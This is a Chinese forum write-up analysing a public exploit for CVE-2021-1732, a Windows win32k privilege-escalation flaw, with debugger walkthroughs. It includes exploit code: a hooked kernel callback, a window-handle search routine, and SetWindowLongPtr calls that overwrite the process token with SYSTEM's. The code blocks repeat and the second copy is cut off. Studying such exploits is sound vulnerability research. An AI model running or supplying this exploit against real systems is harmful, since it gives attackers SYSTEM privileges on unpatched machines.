首页
社区
课程
招聘
[原创]【EXP 编写与分析系列一】CVE-2021-1732 EXP Win10_1909 KaLendsi 版本分析
发表于: 2022-1-26 22:24 27621

[原创]【EXP 编写与分析系列一】CVE-2021-1732 EXP Win10_1909 KaLendsi 版本分析

2022-1-26 22:24
27621

CVE-2021-1732 是蔓灵花(BITTER)APT 组织在某次被披露的攻击行动中使用的 0day 漏洞,该高危漏洞可以在本地将普通用户进程的权限提升至最高的 SYSTEM 权限。
目前,CVE-2021-1732,主要有两个版本:一个是Kernel Killer在Windows 10 Version 1809 for x64上的版本,另一个是KaLendsi在Windows 10 Version 1909 for x64上的版本。
本文的主要特点是:
1、 以动态调试为主,静态分析为辅;
2、 不再重复进行详细的理论介绍,只挑选EXP涉及的部分进行简单说明;
3、 本文介绍KaLendsi的1909版本;
4、 通过调试EXP代码分析漏洞原理;
5、 修改了原来版本的一些冗余代码,并增加了一些调试代码。
所以,阅读本文之前,一定要先阅读下面两个网址内容:
https://www.anquanke.com/post/id/241804#h3-12
https://bbs.pediy.com/thread-266362.htm

Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows 10 Version 1803 for x64-based Systems

该漏洞和传统的内核漏洞不太一样,它不是UAF类型漏洞,也不涉及内存耗尽之后的指针问题,所以没有堆喷射,没有内存消耗,很难检测其存在,漏洞类型可以称之为:逻辑型漏洞。也就是说,漏洞是通过代码审查,分析函数功能流程找到的。这种类型的漏洞确实经典。

图片描述
通过上图可知,Ring3调用CreateWindowsEx时,进入Ring0后,又返回Ring3申请内存空间,此时对函数_xxxClientAllocWindowsClassExtraBytes进行HOOK,通过调用NtUserConsoleControl改变其为offset模式,然后返回恶意地址。这就是漏洞成因,是利用的关键。图片来源:https://bbs.pediy.com/thread-266362.htm。
因此,该漏洞的实质就是,在创建一个带扩展内存的窗口时,内核中xxxClientAllocWindowClassExtraBytes的应用层回调对来自应用层返回的数据校验不严导致,通过hook xxxClientAllocWindowClassExtraBytes,并在hook函数中调用NtUserConsoleControl/NtCallbackReturn可以将目标窗口的poi(tagWND+0x28)+0x128位置设置为任意offset,从而导致越界写入。

##2.2 POC关键代码

上面是POC关键代码,可以看到首先调用CreateWindowsExW创建Magic窗口,然后HOOK ClientAllocWindowClassExtraBytes函数,通过在内存中暴力搜索Magic窗口的句柄值之后,返回一个0xFFFFFF00地址,再调用:

触发漏洞。

反编译xxxSetWindowLong出现异常时的代码,分析可见关于SetWindowsLong存在两种寻址模式,一种是直接寻址,一种是偏移寻址,图中的ptagWNDk+0x128就是pExtraBytes,直接寻址时它是地址;偏移寻址时它是相对于桌面堆基址的偏移量。POC代码就是将其直接寻址模式,改为偏移寻址,触发的漏洞。如下图所示。

运行POC,出现异常:

从上图可以看出,POC运行之后,rdx就是我们在代码里面设置的NtCallBackReturn的0Xffffff00,在xxxSetWindowLong偏移0x110、0x113,可以看到,POC运行之后,rdx就是我们在代码里面设置的NtCallBackReturn的0Xffffff00,在xxxSetWindowLong偏移0x110、0x113,如下图所示:

说明我们现在出于直接寻址模式,桌面堆基址+设置的偏移 = 目标地址,这就意味着有存在任意地址任意写的可能。

该结构体在win7之后就没有符号文件了,需要自己分析。tagWND结构体参考了https://www.anquanke.com/post/id/241804#h3-12。
主要区别是:
1、在1909版本下,tagWND的结构体稍微有所变化,本文对变化进行了更新,且更正了之前网址对dwStyle结构体定义出现的错误。
2、对spMenu的结构体,根据KalenDashi的EXP的构造进行了重新分析。
下面列出tagWND结构体与漏洞相关的字段,(一个 “Tab 缩进 + 偏移量”表示一次父级的值加偏移后访存)。

内存布局有两种思路
1)第一种是kk的思路。申请50个窗口,然后释放其中的48个,最后再申请一个新窗口。要满足1个条件:窗口0的扩展内存地址要小于窗口1的地址,如果不满足,则重新申请,直到5次之后还不满足,则退出。新申请窗口的ptagWNDk地址会复用前面48个窗口的地址,所以可以根据前面48个窗口的ptagWNDk获取新窗口的地址。
2)第二种是KaLendsi的思路。申请10个窗口,然后释放其中的8个。剩余的2个比较ptagWNDk地址,大的为窗口Max,小的为窗口Min。新申请的为Magic窗口,它会占用之前释放窗口的内存。内存布局如下:

EXP代码第275行~317行、350行~363行执行完之后,Magic窗口内存占用如下。


由上图可见,hWndMagic的tagWNDk确实是0x2416e8dd5c0,但是g_hWndMagic已经是0x70342了,而不是原来的0x50354。
在代码第366行断点,此时,窗口Min、窗口Max、窗口Magic的tagWNDk如下:

图3.2 窗口Min的tagWNDk

图3.3 窗口Max的tagWNDk

图3.4 窗口Magic的tagWNDk
由图3.2~3.4可知:
1)桌面堆的基址是:0x2416e8d0000。(反推计算)
2)hwnMagicWNDk,也就是窗口Magic的pExtraBytes是0xf550。
3)桌面堆基址+窗口Magic的偏移等于:0x2416e8d0000+0xf550 = 0x2416e8df550。
4)由上面图可知,firstEntryDesktop_Min,也就是窗口0的地址正好是0x241`6e8df550,意味着,现在窗口Magic的扩展内存指向了窗口Min,可以改变窗口Min的WND属性。
注意:这里的桌面堆基址只是表示应用层的基址是这个地址,并不是内核层的桌面堆基址,必须修改内核层数据,才能达到任意写的目的。
在g_newxxxClientAllocWindowClassExtraBytes时,EXP里面直接比较0x800000,是正确的,此时Magic窗口的内存布局如下:

但是函数返回之后,实际值等于0x08000100。通过内存布局,也可以看出,tagWNDk的0x18是dwExStyle,0x1C是dwStyle。这是其他地方介绍这个字段时的错误之处,现在纠正过来。

需要修改两个地方:
1)一个是cbWndExtra为0xFFFFFFFF,使得原来只能32字节的写范围,扩大到0xFFFFFFFF;
2)修改窗口Min的pExtraBytes指向自己;

图3.6 窗口Min的pExtraBytes指向自己
由上图可知:
1)由第一步可知,此时Magic窗口的pExtraBytes指向的是窗口Min的ptagWNDk,执行SetWindowLongW(g_hWndMagic, offset_0xc8, 0xFFFFFFF)后,窗口Min的cbWndExtra被修改;
2)执行SetWindowLongW(g_hWndMagic, offset_0x128, g_Thrdeskhead_cLockobj_Min)后,窗口Min的 pExtraBytes被修改成指向自己(堆基址+0xf550=0x241`6e8f550)。

在EXP代码第436行断点,可以得到此时窗口Max的内存布局,如下图:

由上图可知,在调用:
SetWindowLongPtrA(hWndMin, Thrdeskhead_cLockboj_Max + offset_0x128 - g_Thrdeskhead_cLockobj_Min, qwMyTokenAddr)后,
窗口Max的pExtraBytes指向了当前进程的Token地址,再调用;
SetWindowLongPtrA(g_hWndMax, 0, dwSystemToken);
就把系统的Token赋值给了当前进程。
窗口Max处于直接寻址模式,它的pExtraBytes地址等于0xffffaa84`5da693e0,执行之后,可以看到,该地址的值确实和系统的Token值0xffff97831c00629f相等。提权目的已经达到。
但是有个问题,系统的Token和系统的Token地址是怎么得到的呢?这就涉及到另外一个问题,任意地址读了。

因为任意地址读第二步,需要调用:
g_qwExpLoit = SetWindowLongPtrA(g_hWndMax, -12, g_pMem4);
逆向代码如下:

图3.8 设置虚假Menu时的逆向代码
由上图可知,调用该函数如果要设置成功,则需要窗口Max要包含WS_CHILD属性。所以,首先调用:
SetWindowLongPtrA(hWndMin, offset_0x18 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, g_qwrpdesk ^ 0x4000000000000000);
设置窗口Max包含WS_CHILD属性。

由图3.8可知,在函数
g_qwExpLoit = SetWindowLongPtrA(g_hWndMax, -12, g_pMem4)中,
实际取的是最高位0x4C,所以0x4C&0xC0 = 0x40了。
4的二进制0100 ,C的二进制1100,所以实际是取的第3bit位,而不是整个数值。比如,是0x4C,第3bit位是1,其余是0,就是WS_WHILD,同样的,24c00000,第2bit位2,就是WS_MINIMIZE。
执行
SetWindowLongPtrA(hWndMin, offset_0x18 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, g_qwrpdesk ^ 0x4000000000000000);
g_qwExpLoit = SetWindowLongPtrA(g_hWndMax, -12, g_pMem4);
之后,窗口Max的内存如下图。g_qwExpLoit就是窗口Max的Menu地址。通过该地址,就可以获取想要的关键数据了。
由图3.9可知,正如分析的那样,窗口Max的spMenu位置,已经被赋值成了g_pMem4的地址,且其dwStyle位置确实已经是0x4C。
图3.10展示了g_qwExpLoit的内存数据,这里的g_qwExpLoit就是tagWND结构体里面的ref_g_pMem4(spMenu),也就是Menu的数据。从图3.10可知,其内存布局和之前定义的tagWND结构体完全对应,更重要的是,注意左面的地址,已经是内核地址,展示出来的窗口Max的内存数据和图3.9是一样的,一个是0xfffffxxxxxxxx开始的内核地址,一个是0x00000xxxxxxx开始的应用层地址。
最后就是通过GetMenuBarInfo读取这里的内核数据,实现提权的。

图3.9 泄漏窗口Max的Menu时窗口Max内存布局

图3.10 Menu的内存布局

因为获取到泄漏的Menu地址后,实际是通过GetMenuBarInfo读取需要的数据的。而通过GetMenuBarInfo读取数据时,窗口是不能有是WS_CHILD属性。所以需要执行:
SetWindowLongPtrA(hWndMin, offset_0x18 + Thrdeskhead_cLockboj_Max -g_Thrdeskhead_cLockobj_Min, g_qwrpdesk);
恢复窗口的WS_CHILD属性。

图3.10 恢复窗口Max的WS_CHILD属性时的内存

由上图可知,一共有3个检查点、2个构造点、2个取值点,具体细节参考EXP源码。EXP原来有两行是多余的:
1、ref_g_pMem1 = 0x88888888;
2、
(QWORD*)(ref_g_pMem3 + 8) = 16;
可以删除。

 
HWND    g_hWndMagic = CreateWindowExW(
        0x08000000u,//dwExStyle = WS_EX_NOACTIVATE
        (LPCWSTR)(unsigned __int16)g_lpWcxMagic,
        L"somewnd",
        0x20000000u,//dwStyle = WS_MINIMIZE
        0,
        0,
        0,
        0,
        0,
        CreateMenu(),
        GetModuleHandleW(0),
        0);
HWND    g_hWndMagic = CreateWindowExW(
        0x08000000u,//dwExStyle = WS_EX_NOACTIVATE
        (LPCWSTR)(unsigned __int16)g_lpWcxMagic,
        L"somewnd",
        0x20000000u,//dwStyle = WS_MINIMIZE
        0,
        0,
        0,
        0,
        0,
        CreateMenu(),
        GetModuleHandleW(0),
        0);
DWORD64  g_newxxxClientAllocWindowClassExtraBytes(DWORD64* a1)
{
    DWORD64 dwTemp = *a1;
    if (dwTemp == g_nRandom)
    {
        g_offset_0x1 = 1;
        //从最小的地址暴力搜索
        HWND hwndMagic = GuessHwnd(&g_qwMinBaseAddress, g_qwRegionSize);//找到的是magicClass的HWND
        printf("MagciHwnd==%p\r\n", hwndMagic);
        if (hwndMagic)
        {
            Int_3();
            QWORD hwndMagicWNDk = (QWORD)g_pfnHmValidateHandle(hwndMagic, 1);
            printf("MagciHwnd pExtraBytes Before NtUserConsoleControl == %x\r\n", *(DWORD*)(hwndMagicWNDk + 0x128));
            g_pfnNtUserConsoleControl(6, &hwndMagic, 0x10);
            printf("MagciHwnd pExtraBytes After NtUserConsoleControl == %x\r\n", *(DWORD*)(hwndMagicWNDk + 0x128));
            QWORD qwRet = g_Thrdeskhead_cLockobj_Min;
            g_pfnNtCallbackReturn(&qwRet, 24, 0);
        }
    }
    DWORD64 dwTest = *((PULONG64) * (a1 - 11));
    return g_oldxxxClientAllocWindowClassExtraBytes(a1);
}
 
HWND GuessHwnd(QWORD* pBaseAddress, DWORD dwRegionSize)
{
    QWORD qwBaseAddressBak = *pBaseAddress;
    QWORD qwBaseAddress = *pBaseAddress;
    DWORD dwRegionSizeBak = dwRegionSize;
    HWND hwndMagicWindow = nullptr;
    do
    {
        while (*(WORD*)qwBaseAddress != g_nRandom & dwRegionSize > 0)
        {
            qwBaseAddress += 2;
 
            dwRegionSize--;
        }
        //获取不到才会走下面的步骤
        //(-50+6)*4=-2C*4=-B0 ,c8-b0=0x18,说明ptagWNDk的0x18偏移dwStyle是0x8000000
        if (*(DWORD*)((DWORD*)qwBaseAddress + (0x18 >> 2) - (0xc8 >> 2)) != 0x8000000)
        {
            qwBaseAddress = qwBaseAddress + 4;
            QWORD qwSub = qwBaseAddressBak - qwBaseAddress;
            dwRegionSize = dwRegionSizeBak + qwSub;
        }
        hwndMagicWindow = (HWND) * (DWORD*)(qwBaseAddress - 0xc8);//qwBaseAddress现在指向cbWndExtra,减去0xc8,刚好等于hwnd
        if (hwndMagicWindow)
        {
            break;
        }
 
    } while (true);
 
    return hwndMagicWindow;
}
DWORD64  g_newxxxClientAllocWindowClassExtraBytes(DWORD64* a1)
{
    DWORD64 dwTemp = *a1;
    if (dwTemp == g_nRandom)
    {
        g_offset_0x1 = 1;
        //从最小的地址暴力搜索
        HWND hwndMagic = GuessHwnd(&g_qwMinBaseAddress, g_qwRegionSize);//找到的是magicClass的HWND
        printf("MagciHwnd==%p\r\n", hwndMagic);
        if (hwndMagic)
        {
            Int_3();
            QWORD hwndMagicWNDk = (QWORD)g_pfnHmValidateHandle(hwndMagic, 1);
            printf("MagciHwnd pExtraBytes Before NtUserConsoleControl == %x\r\n", *(DWORD*)(hwndMagicWNDk + 0x128));
            g_pfnNtUserConsoleControl(6, &hwndMagic, 0x10);
            printf("MagciHwnd pExtraBytes After NtUserConsoleControl == %x\r\n", *(DWORD*)(hwndMagicWNDk + 0x128));
            QWORD qwRet = g_Thrdeskhead_cLockobj_Min;
            g_pfnNtCallbackReturn(&qwRet, 24, 0);
        }
    }
    DWORD64 dwTest = *((PULONG64) * (a1 - 11));
    return g_oldxxxClientAllocWindowClassExtraBytes(a1);
}
 
HWND GuessHwnd(QWORD* pBaseAddress, DWORD dwRegionSize)
{
    QWORD qwBaseAddressBak = *pBaseAddress;
    QWORD qwBaseAddress = *pBaseAddress;
    DWORD dwRegionSizeBak = dwRegionSize;
    HWND hwndMagicWindow = nullptr;
    do
    {

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-4-14 15:46 被ExploitCN编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (3)
雪    币: 337
活跃值: (2622)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
2022-1-26 23:46
0
雪    币: 15170
活跃值: (16832)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
3
2022-2-9 09:09
0
雪    币: 220
活跃值: (721)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
Int_3()
没定义啊
2022-4-12 09:56
0
游客
登录 | 注册 方可回帖
返回
//